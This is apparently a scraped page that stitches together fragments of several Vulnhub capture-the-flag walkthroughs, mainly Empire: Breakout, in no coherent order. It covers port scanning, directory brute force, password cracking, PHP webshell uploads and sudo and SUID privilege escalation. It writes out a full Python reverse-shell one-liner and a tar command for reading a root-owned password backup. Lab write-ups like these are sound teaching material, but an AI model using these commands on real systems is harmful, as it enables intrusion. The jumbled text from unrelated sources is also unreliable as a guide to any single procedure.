EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. The hint also talks about the best friend, the possible username. Lets start with enumeration. So, let us download the file on our attacker machine for analysis. Please comment if you are facing the same. As we can see below, we have a hit for robots.txt. So, we decided to enumerate the target application for hidden files and folders. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. In the highlighted area of the following screenshot, we can see the. Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. We opened the case.wav file in the folder and found the below alphanumeric string. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. Another step I always do is to look into the directory of the logged-in user. The ping response confirmed that this is the target machine IP address. Nevertheless, we have a binary that can read any file. flag1. We used the Dirb tool; it is a default utility in Kali Linux. The file was also mentioned in the hint message on the target machine. So, we used to sudo su command to switch the current user as root. This machine works on VirtualBox. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. This was my first VM by whitecr0wz, and it was a fun one. fig 2: nmap. kioptrix The base 58 decoders can be seen in the following screenshot. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. In the Nmap results, five ports have been identified as open. My goal in sharing this writeup is to show you the way if you are in trouble. Other than that, let me know if you have any ideas for what else I should stream! [CLICK IMAGES TO ENLARGE]. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. After that, we used the file command to check the content type. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. Using this website means you're happy with this. The target machines IP address can be seen in the following screenshot. In the next step, we will be running Hydra for brute force. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. So, let us open the identified directory manual on the browser, which can be seen below. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. Difficulty: Intermediate writeup, I am sorry for the popup but it costs me money and time to write these posts. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. https://download.vulnhub.com/empire/02-Breakout.zip. The VM isnt too difficult. We need to log in first; however, we have a valid password, but we do not know any username. django The second step is to run a port scan to identify the open ports and services on the target machine. So, in the next step, we will be escalating the privileges to gain root access. So, lets start the walkthrough. This seems to be encrypted. The root flag was found in the root directory, as seen in the above screenshot. hackthebox 15. However, for this machine it looks like the IP is displayed in the banner itself. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. We opened the target machine IP address on the browser. The enumeration gave me the username of the machine as cyber. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Always test with the machine name and other banner messages. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. (Remember, the goal is to find three keys.). The login was successful as we confirmed the current user by running the id command. It's themed as a throwback to the first Matrix movie. With its we can carry out orders. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. We created two files on our attacker machine. The difficulty level is marked as easy. Defeat the AIM forces inside the room then go down using the elevator. Just above this string there was also a message by eezeepz. WordPress then reveals that the username Elliot does exist. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. Likewise, there are two services of Webmin which is a web management interface on two ports. Command used: < ssh i pass icex64@192.168.1.15 >>. The message states an interesting file, notes.txt, available on the target machine. So, we need to add the given host into our, etc/hosts file to run the website into the browser. Author: Ar0xA Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Below we can see we have exploited the same, and now we are root. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. We have identified an SSH private key that can be used for SSH login on the target machine. I am using Kali Linux as an attacker machine for solving this CTF. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. We do not know yet), but we do not know where to test these. Each key is progressively difficult to find. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. However, upon opening the source of the page, we see a brainf#ck cypher. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. We do not understand the hint message. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Style: Enumeration/Follow the breadcrumbs linux basics Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. First, we need to identify the IP of this machine. Let us open the file on the browser to check the contents. The Drib scan generated some useful results. So, let us identify other vulnerabilities in the target application which can be explored further. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. This completes the challenge. We have to boot to it's root and get flag in order to complete the challenge. Below we can see netdiscover in action. I have. 5. So, let us open the file on the browser to read the contents. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. So, we identified a clear-text password by enumerating the HTTP port 80. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. Port 80 open. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. driftingblues Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. Doubletrouble 1 walkthrough from vulnhub. insecure file upload If you are a regular visitor, you can buymeacoffee too. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. web We identified that these characters are used in the brainfuck programming language. Goal: get root (uid 0) and read the flag file Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Let's start with enumeration. Please leave a comment. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The final step is to read the root flag, which was found in the root directory. Kali Linux VM will be my attacking box. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. Until now, we have enumerated the SSH key by using the fuzzing technique. In the above screenshot, we can see the robots.txt file on the target machine. Download the Mr. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. shellkali. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Command used: << netdiscover >> In the next step, we will be taking the command shell of the target machine. . The IP of the victim machine is 192.168.213.136. This is an apache HTTP server project default website running through the identified folder. On browsing I got to know that the machine is hosting various webpages . This step will conduct a fuzzing scan on the identified target machine. We used the ping command to check whether the IP was active. So, we clicked on the hint and found the below message. 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